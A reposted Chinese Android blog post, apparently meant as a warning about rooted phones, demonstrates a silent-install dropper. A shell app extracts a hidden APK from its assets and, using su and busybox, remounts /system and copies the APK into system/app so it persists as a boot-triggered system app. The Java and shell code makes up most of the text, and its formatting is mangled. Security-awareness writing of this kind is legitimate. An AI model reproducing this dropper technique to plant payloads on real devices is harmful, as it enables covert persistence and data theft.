您的位置:首页 > 移动开发 > Android开发

android手机root后的安全问题 (一)

2012-09-15 17:46 549 查看
来自:http://www.devdiv.com/android手机root后的安全问题_(一)-weblog-60673-12960.html



导读:

本文介绍一种简单的病毒以及如何“防御”。写本博客的原因是:有无数用户觉得root没有什么风险,或者风险不会降临到自己头上。这里告诉大家,其实风险就在身边!



这里讲的内容其实对于大多数开发者都不是什么新鲜的事情了,使用的技术也非常一般和普遍。

虽然大家都知道可以这样这样,但是还是随意下载软件,不加小心,就会掉入陷阱。

有些人觉得,只要我下载软件的时候检查软件所申请的权限就好了,其实没有那么简单。



我们来看看如果一个软件,获得了一次root权限,那么它可以作些什么呢?

好吧,我们先来一次“静默安装”!

原理很简单,基本上相当于把apkpush到手机里面,两个选择

data/app

system/app

如果我是病毒软件,我肯定选择push到system/app

我们需要***两个apk,一个是真正目的的(病毒,real.apk),另一个是假的壳子(fake.apk)

首先先***real.apk,我们只是用来测试,所以这个apk没有什么实际内容(为了节省大家时间,real.apk已经上传)。

real.apk里有一个receiver,用来监听开机的广播

[代码]xml代码:

1
android.intent.action.BOOT_COMPLETED
还有一个activity,没有什么实质内容,然后编译出apk,待用。



下面来***壳子

新建一个android工程,将之前的real.apk复制到assets目录下

然后新建一个activity来测试

这个壳子的很简单,它只负责把真实的应用安装到用户手机中,我们再细分一下,首先,将文件assets/real.apk提取出来,放到自己的私有目录中,在本例子中的目录为data/data/com.example.fake/files,这一步是不需要任何权限的

[代码]xml代码:

1
prepareButton.setOnClickListener(newView.OnClickListener(){
2
publicvoidonClick(Viewv){
3
FiledataFolder=getFilesDir();
4
Filejar=newFile(dataFolder.getAbsolutePath()+"/real.apk");
5
copyFile("real.apk",jar,mResources);
6
}

7
});
其中copFile函数见附件(就是一个简单的io读写操作),这里只给出伪代码

[代码]java代码:

1
InputStreammyInput=
null
;
2
try
3
myInput=resources.getAssets().open(filePath);
4
……

5
catch
6
……
7
finally
8
……
第一步已经完成了,下一步请求root权限,然后将real.apk恶意安装给用户。

这里需要使用到busybox,命令如下

busyboxmount-oremount,rw/system

busyboxcp/data/data/com.example.fake/files/real.apk/system/app/real.apk

busyboxrm/data/data/com.example.fake/files/real.apk

之所以使用busybox,是因为手机里面可能没有mount、cp、rm等命令(我的手机里面就没有)

当然superuser需要同意你使用root权限

至此,你的入侵行为已经全部完成!

[代码]java代码:

01
installButton.setOnClickListener(
new
View.OnClickListener(){
02
public
void

onClick(Viewv){
03
StringpackageName=getPackageName();
04
String[]commands={
"busyboxmount-oremount,rw/system"
,
05
"busyboxcp/data/data/"
+packageName+
"/files/real.apk/system/app/real.apk"
,
06
"busyboxrm/data/data/"
+packageName+
"/files/real.apk"
};
07
Processprocess=
null
;
08
DataOutputStreamdataOutputStream=
null
;
09
10
try
{
11
process=Runtime.getRuntime().exec(
"su"
);
12
dataOutputStream=
new

DataOutputStream(process.getOutputStream());
13
int
length=commands.length;
14
for
(
int

i=
0
;i<length;i++){
15
Log.e(TAG,
"commands["

+i+
"]:"

+commands[i]);
16
dataOutputStream.writeBytes(commands[i]+
"\n"
);
17
}
18
dataOutputStream.writeBytes(
"exit\n"
);
19
dataOutputStream.flush();
20
process.waitFor();
21
}
catch

(Exceptione){
22
Log.e(TAG,
"copyfail"
,e);
23
}
finally

{
24
try
{
25
if
(dataOutputStream!=
null
){
26
dataOutputStream.close();
27
}
28
process.destroy();
29
}
catch

(Exceptione){
30
}
31
}
32
}
33
});

34
}
重启手机之后,real.apk就能工作了,它会接收到开机广播

如果你嵌入了更恶劣的代码,比如偷发短信,窃取邮件,那么用户也是很难察觉的

real.apk在settings中会显示在系统应用中,用户不太会怀疑,即使怀疑了,他们也不敢轻易卸载!谁让他们自己随意刷rom呢,每个rom集成的软件都不一样。



如何防御?!

我不知道如何防御,最简单的办法就是,解压你来路不明的apk文件,看看assets文件下有没有什么可疑文件。当然,病毒可能会去掉或者修改文件名的后缀!

我手机中安装了卡巴斯基免费版,很可惜,它没有查出病毒(即使你的real.apk嵌入更恶意的代码)

大家可以试试其他杀毒软件,比如……希望大家能给个反馈结果
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: